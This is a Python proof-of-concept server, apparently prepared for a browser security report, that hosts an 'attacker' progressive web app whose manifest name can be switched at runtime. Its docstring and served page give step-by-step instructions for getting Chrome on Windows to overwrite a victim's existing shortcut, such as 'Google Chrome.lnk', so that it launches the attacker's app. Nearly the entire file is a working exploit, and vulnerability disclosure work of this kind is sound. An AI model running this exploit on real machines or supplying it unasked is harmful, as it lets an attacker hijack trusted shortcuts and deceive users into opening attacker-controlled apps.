#!/usr/bin/env python3
"""
Attacker PWA server for the Windows UpdateShortcuts() ReplaceFile collision POC.

Serves a PWA whose manifest 'name' can be flipped at runtime so that Chrome's
manifest-update pipeline renames the app's existing .lnk shortcut onto a
colliding filename (e.g. "Google Chrome.lnk") via base::ReplaceFile(), which
on Windows atomically overwrites the destination.

Usage (on the Windows victim machine):

    python server.py --port 8080

Phase 1 (install): browse to http://localhost:8080/ and install the PWA
("Attacker App") with a Desktop shortcut and/or pin it to the taskbar.

Phase 2 (flip): visit http://localhost:8080/flip?name=Google%20Chrome
(or any target .lnk basename, e.g. "Outlook", "Slack", or another PWA's
name). Then reopen the attacker PWA window so the manifest-update check
runs, click 3-dot menu -> "Review App Update" -> "Update".

UpdateShortcuts() in web_app_shortcut_win.cc then ReplaceFile()s the
attacker's existing shortcut onto <dir>/<target>.lnk with no GetUniquePath()
check, clobbering the victim shortcut.
"""

import argparse
import http.server
import json
import socketserver
import urllib.parse

INITIAL_NAME = "Attacker App"

# 192x192 solid-red PNG (minimal valid icon so install UI accepts the manifest).
ICON_PNG = bytes.fromhex(
    "89504e470d0a1a0a0000000d49484452000000c0000000c00802000000ddbefb"
    "50000001604944415478daedd24109000008c0c0f5cf66282b88ef834b30d614"
    "bc498081301006c24060200c8481301018080361200c0406c2401808038181301006"
    "c24018080c8481301006020361200c8481c0401808036120301006c24018080381"
    "81301006c24060200c8481301018080361200c0406c240180803810418080361200c"
    "0406c2401808038181301006c24060200c8481301018080361200c8481c040180803"
    "6120301006c24018080c8481301006020361200c8481301018080361200c0406c240"
    "1808038181301006c24060200c8481301018080361200c8481c0401808036120301006"
    "c24018080c8481301006020361200c8481301018080361200c0406c2401808038181"
    "301006c24060200c8481301006020361200c8481c0401808036120301006c2401808"
    "0c8481301006020361200c8481301018080361200c0406c2401808038181301006c2"
    "4060200c8481301006020361200c8481e06c01a045c6af5dcbeb6f0000000049454e"
    "44ae426082"
)

state = {"name": INITIAL_NAME, "ver": 1}


def index_html():
    return f"""<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <title>{state['name']}</title>
  <link rel="manifest" href="/manifest.webmanifest?v={state['ver']}">
  <meta name="theme-color" content="#cc0000">
</head>
<body style="font-family:sans-serif">
  <h1>{state['name']}</h1>
  <p>Current manifest name: <b>{state['name']}</b> (v{state['ver']})</p>
  <p>Phase 1: install this PWA (Chrome menu &rarr; Install), enable the
     Desktop shortcut, and/or pin it to the taskbar.</p>
  <p>Phase 2: hit
     <code>/flip?name=Google%20Chrome</code> (or any target .lnk basename),
     then reopen this app window, open the 3-dot menu &rarr;
     <b>Review App Update</b> &rarr; <b>Update</b>.</p>
  <p>After accepting, inspect the target .lnk on Desktop / Taskbar pins:
     it now points to <code>chrome_proxy.exe --app-id=&lt;this app&gt;</code>.</p>
  <script>
    if ('serviceWorker' in navigator) {{
      navigator.serviceWorker.register('/sw.js');
    }}
  </script>
</body>
</html>
"""


def manifest_json():
    return json.dumps({
        "name": state["name"],
        "short_name": state["name"],
        "start_url": "/",
        "id": "/",
        "scope": "/",
        "display": "standalone",
        "background_color": "#ffffff",
        "theme_color": "#cc0000",
        "icons": [
            {"src": "/icon-192.png", "sizes": "192x192", "type": "image/png"},
            {"src": "/icon-192.png", "sizes": "512x512", "type": "image/png"},
        ],
    })


SW_JS = (
    "self.addEventListener('install', e => self.skipWaiting());\n"
    "self.addEventListener('activate', e => self.clients.claim());\n"
    "self.addEventListener('fetch', e => {});\n"
)


class Handler(http.server.BaseHTTPRequestHandler):
    def _send(self, code, ctype, body):
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Cache-Control", "no-store")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):  # noqa: N802
        parsed = urllib.parse.urlparse(self.path)
        path = parsed.path

        if path in ("/", "/index.html", "/poc.html"):
            self._send(200, "text/html; charset=utf-8",
                       index_html().encode("utf-8"))
        elif path == "/manifest.webmanifest":
            self._send(200, "application/manifest+json",
                       manifest_json().encode("utf-8"))
        elif path == "/sw.js":
            self._send(200, "text/javascript", SW_JS.encode("utf-8"))
        elif path == "/icon-192.png":
            self._send(200, "image/png", ICON_PNG)
        elif path == "/flip":
            qs = urllib.parse.parse_qs(parsed.query)
            new_name = qs.get("name", ["Google Chrome"])[0]
            state["name"] = new_name
            state["ver"] += 1
            self._send(200, "text/plain; charset=utf-8",
                       f"manifest name flipped to: {new_name!r}\n"
                       .encode("utf-8"))
        else:
            self._send(404, "text/plain", b"not found")

    def log_message(self, fmt, *args):
        super().log_message(fmt, *args)


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=8080)
    ap.add_argument("--bind", default="0.0.0.0")
    args = ap.parse_args()

    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer((args.bind, args.port), Handler) as httpd:
        print(f"[*] serving attacker PWA on http://{args.bind}:{args.port}/")
        print(f"[*] current manifest name: {state['name']!r}")
        print("[*] flip via: /flip?name=<target .lnk basename>")
        httpd.serve_forever()


if __name__ == "__main__":
    main()